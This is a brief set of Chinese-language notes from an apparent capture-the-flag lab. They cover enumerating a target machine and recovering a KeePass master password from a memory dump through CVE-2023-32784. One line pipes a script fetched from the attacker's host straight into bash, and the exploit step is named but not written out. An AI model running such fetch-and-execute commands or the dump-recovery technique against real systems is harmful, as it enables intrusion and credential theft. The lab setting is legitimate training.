简单枚举

直接上自动化吧curl http://10.10.14.5:8000/linpeas.sh|bash

RT30000.zip下载好慢,我直接在靶机上unzip

242M -rwxr-x--- 1 lnorgaard lnorgaard 242M May 24 12:51 KeePassDumpFull.dmp
4.0K -rwxr-x--- 1 lnorgaard lnorgaard 3.6K May 24 12:51 passcodes.kdbx

GoogleKeePassDumpFull.dmp exploit

得到漏洞编号CVE-2023-32784,进一步搜索可用exp,靶机上是有Python环境的,尽量搜索Python的exp

不知道这个字符是什么意思,这里真猜不出来了,网上搜了一下是根据用户地区,用丹麦语猜出来的

rødgrød med fløde

通过https://app.keeweb.info/解码passcodes.kdbx文件

password那里显示的密码连接不上,su也不行,还是用底下的Key

问问chatgpt
